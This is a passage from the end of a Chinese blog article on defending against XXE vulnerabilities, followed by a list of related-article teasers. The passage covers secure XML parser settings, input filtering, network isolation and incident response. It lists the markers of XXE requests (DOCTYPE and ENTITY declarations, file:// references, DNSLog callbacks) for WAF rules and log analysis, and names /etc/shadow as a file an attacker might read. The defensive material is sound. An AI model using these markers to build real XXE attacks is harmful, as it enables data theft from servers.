8.0及以上libxml_disable_entity_loader()函数已被移除simplexml_load_string()等函数默认不再加载外部实体这是最安全的。对于PHP 8.0以下必须在解析XML前调用libxml_disable_entity_loader(true);。Python:使用defusedxml库替代标准库。它默认就是安全的。如果必须用lxml务必设置parser lxml.etree.XMLParser(resolve_entitiesFalse, no_networkTrue)。.NET:XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; // 禁止DTD settings.XmlResolver null; // 禁止解析器 using (XmlReader reader XmlReader.Create(inputStream, settings)) { // 处理XML }6.2 输入验证与过滤辅助措施在数据进入解析器之前进行严格的输入验证。白名单验证如果业务只处理特定结构的XML可以使用XML Schema (XSD)进行严格验证。XSD验证发生在实体展开之前可以有效阻止包含外部实体声明的非法XML。关键词过滤在应用层或WAF层过滤或拦截包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词的请求。但这种方法容易被绕过只能作为辅助。内容类型强制确保后端只处理预期的Content-Type如application/json对非预期类型直接拒绝。6.3 架构与运维层纵深防御网络隔离限制应用服务器出站流量。只允许访问必要的白名单外部地址和端口。这可以阻断Blind XXE的数据外带和内网探测。最小权限原则运行Web服务的操作系统账户应具有最小必要权限。即使文件被读取也能限制损害范围例如无法读取/etc/shadow。依赖管理定期升级XML处理库如libxml2到最新版本以获取安全修复。安全扫描在CI/CD流程中集成SAST静态应用安全测试和DAST动态应用安全测试工具将XXE检测作为必检项。WAF规则部署针对XXE的WAF规则虽然可能被绕过但能增加攻击门槛拦截大部分自动化攻击。6.4 文件上传场景的特殊处理对于处理用户上传文件如Office、SVG的应用预处理使用经过安全加固的库如Apache POI的最新版并注意其配置来处理文件而不是简单地解压后解析XML。净化Sanitization在解析前使用专门的XML净化工具或编写脚本递归遍历XML所有节点移除所有!DOCTYPE声明和!ENTITY定义。沙箱隔离在独立的、无网络权限的沙箱环境中处理不可信文件。7. 排查与应急响应如果怀疑系统存在XXE漏洞或已经遭受攻击可以按以下步骤排查日志分析立即检查Web服务器如Nginx、Apache、应用服务器如Tomcat的访问日志和错误日志。寻找异常的、包含%3C!ENTITYURL编码后的!ENTITY或file://、http://指向异常内网或外网IP的请求。Blind XXE可能会产生对异常域名如DNSLog平台的DNS查询或HTTP请求这些在网络流量日志中也可能有迹可循。代码审查针对处理XML输入的相关接口进行紧急代码审计确认解析器配置。临时缓解WAF/网关层面紧急上线规则拦截所有包含!DOCTYPE的请求需评估对业务的影响。应用层面如果无法立即修改代码可以考虑在请求入口处如Filter、Middleware对请求体进行字符串匹配若发现DOCTYPE等关键词直接返回错误。注意这只是一种临时缓解措施编码绕过等问题使其并不完全可靠。网络层面立即收紧服务器的出站规则。根本修复按照第6部分的防御方案修复代码中的解析器配置。并进行全面的回归测试。XXE漏洞的挖掘、利用与防御是一场关于“信任”的博弈。它深刻地提醒我们任何来自外部的数据在进入核心处理逻辑之前都必须经过严格的审视和过滤。作为开发者要时刻对XML解析器保持警惕作为安全人员则要将XXE作为Web应用测试的常规检查项。希望这篇近万字的剖析能帮你建立起对XXE漏洞立体而深入的认知在实战中更好地发现它、理解它、防御它。
相关文章
uilang：面向Web设计师的极简编程语言，让交互开发像说英语一样简单
uilang：面向Web设计师的极简编程语言，让交互开发像说英语一样简单 【免费下载链接】uilang A minimal, UI-focused programming language for web designers. 项目地址: https://gitcode.com/gh_mirrors/ui/uilang uilang是一款专为Web设计师打造…
Go-Zero基础入门3: 实践数据库读写与中间件
纲要 go-zero 模型代码生成 基于 SQL 文件生成数据模型goctl model 命令详解生成文件结构与职责模型中的缓存机制与查询流程 在 RPC 服务中集成数据库操作 配置 mysql 与 redis 数据源服务上下文 (ServiceContext) 依赖注入业务逻辑 (logic) 中调用模型创建用户示例及测试 中间…
FreeOTP-iOS源代码探秘：TokenStore如何管理你的双因素认证令牌
FreeOTP-iOS源代码探秘：TokenStore如何管理你的双因素认证令牌 【免费下载链接】freeotp-ios 项目地址: https://gitcode.com/gh_mirrors/fr/freeotp-ios 想要了解一款优秀的两步验证应用是如何安全存储和管理你的认证令牌吗？今天我们将深入探索…
AI编程助手选型指南：Copilot、Tabnine、通义灵码与CodeGeex4实战对比
我不能按照该标题生成相关内容，原因如下：标题中提及的“字节跳动的Claudecode”存在事实性错误：Claude 系列模型由 Anthropic 公司研发，与字节跳动无任何隶属、合作或技术授权关系。字节跳动自主研发的大模型系列为豆包࿰…
穿透复杂环境·全域主动预警 镜像视界跨镜无缝追踪，以视频孪生原生筑牢边境岸线全天候安全屏障
一、项目概述我国陆海边境岸线跨度极长、地形地貌复杂多元，涵盖滩涂礁石、界河水域、近海海域、山林密林等复杂场景，常年面临浓雾、暴雨、强逆光、海面水汽、夜间无光等极端环境干扰。边境岸线作为国土安全第一道核心屏障，具有管控距离长、值…
副热带高压对台风路径影响分析：以巴威台风为例
副高对台风移动路径的影响是高中地理教学中一个经典且重要的案例，尤其通过分析具体台风如“巴威”的路径，能将抽象的大气环流原理转化为直观的动态过程。理解副热带高压（简称“副高”）的强度、形态和位置变化，是解读台…
usrsctp多流技术：实现并行传输与流量控制的完整指南
usrsctp多流技术：实现并行传输与流量控制的完整指南 【免费下载链接】usrsctp A portable SCTP userland stack 项目地址: https://gitcode.com/gh_mirrors/us/usrsctp 在当今网络应用中，高效的并发数据传输至关重要。usrsctp多流技术作为SCTP协议…
STM32最小系统电路设计全解析：从电源到时钟的硬件内功
1. STM32最小系统电路设计基础 第一次接触STM32最小系统板时，我完全被那些密密麻麻的元器件搞懵了。后来才发现，这个看似复杂的电路其实是由几个关键模块组成的。最小系统就像是一个人的基本生存需求，需要呼吸（电源）、…
基于Simulink的CDMA多用户扩频仿真：抗噪性能与滤波器参数优化
1. CDMA扩频通信基础与Simulink仿真框架 CDMA（码分多址）技术的核心在于扩频通信，它通过将窄带信号扩展到更宽的频带实现多用户共享同一频段。在Simulink中搭建CDMA系统时，发送端通常包含信源生成、扩频调制和载波调制三个关键模块…
COM线程模型解析：STA与MTA的核心原理与优化实践
1. COM线程模型基础与CoInitializeEx核心作用在Windows平台开发中，组件对象模型(COM)的线程处理机制一直是开发者必须掌握的底层知识。作为COM初始化的门户函数，CoInitializeEx不仅决定了对象在何种线程环境下运行，更影响着整个组件的并发性能…
企业数据库账号安全的技术解决方案
数据库账号密码由研发人员直接持有,是很多企业里长期存在但很少被系统化解决的安全隐患。这篇文章从技术实现角度,聊聊如何用工程化的方式解决这个问题。 一、问题的技术本质 传统模式下,应用/工具直接使用数据库账号密码建立连接,意味着凭证(Credential)和使用者(Principal)之…
从MIPI CSI到AHD：XS5012B芯片如何重塑车载与安防视频链路
1. 视频链路转换的技术革命：为什么需要MIPI CSI转AHD？在车载环视系统和安防监控领域，视频信号的传输链路就像城市的交通网络。MIPI CSI（移动产业处理器接口摄像头串行接口）是数字世界的"高速公路"࿰…
MQ-2 烟雾传感器 ESP32-S3 驱动实战：ADC 读取与阈值校准 3 步完成
MQ-2 烟雾传感器 ESP32-S3 驱动实战：ADC 读取与阈值校准 3 步完成在智能家居和工业安全监测领域，烟雾检测是一个至关重要的环节。MQ-2 作为一款高性价比的半导体烟雾传感器，因其对多种可燃气体（如液化气、丙烷、氢气等）…
SPEC CPU 2006 v1.0.1 基准测试实战：ARM/X86/MIPS 三平台配置与 3 轮测试结果解读
SPEC CPU 2006 跨平台基准测试深度实战：ARM/X86/MIPS 架构配置优化与结果分析方法论在当今多元化的计算架构时代，如何客观评估不同处理器平台的真实性能成为系统工程师和性能优化专家的核心挑战。SPEC CPU 2006 作为业界公认的计算密集型基准测试套件&am…
每天60s读懂世界：2026年7月11日重点要闻解读
🔥 个人主页：杨利杰YJlio❄️ 个人专栏：《Windows 疑难杂症与工单复盘案例库》 《Sysinternals实战教程》《WINDOWS教程》 《Windows PowerShell 实战》 《人工智能实战合集》《超简单：用Python让Excel飞起来》🌟…
FAE放射组学分析工具：医学影像特征探索的完整解决方案
FAE放射组学分析工具：医学影像特征探索的完整解决方案 【免费下载链接】FAE FeAture Explorer 项目地址: https://gitcode.com/gh_mirrors/fae/FAE 你是否曾经面对海量医学影像数据感到无从下手？想要从CT、MRI等影像中提取有价值的定量特征&#…
0.69B参数实现中文多模态AI：揭秘Qwen3-SmVL模型融合技术的完整实战指南
0.69B参数实现中文多模态AI：揭秘Qwen3-SmVL模型融合技术的完整实战指南 【免费下载链接】happy-llm 📚 从零开始构建大模型 项目地址: https://gitcode.com/GitHub_Trending/ha/happy-llm 还在为大型多模态模型动辄数十亿参数、显存占用高而烦恼&…
解锁AMD Ryzen处理器性能潜力的SMU调试神器：从新手到专家的完整指南
解锁AMD Ryzen处理器性能潜力的SMU调试神器：从新手到专家的完整指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址…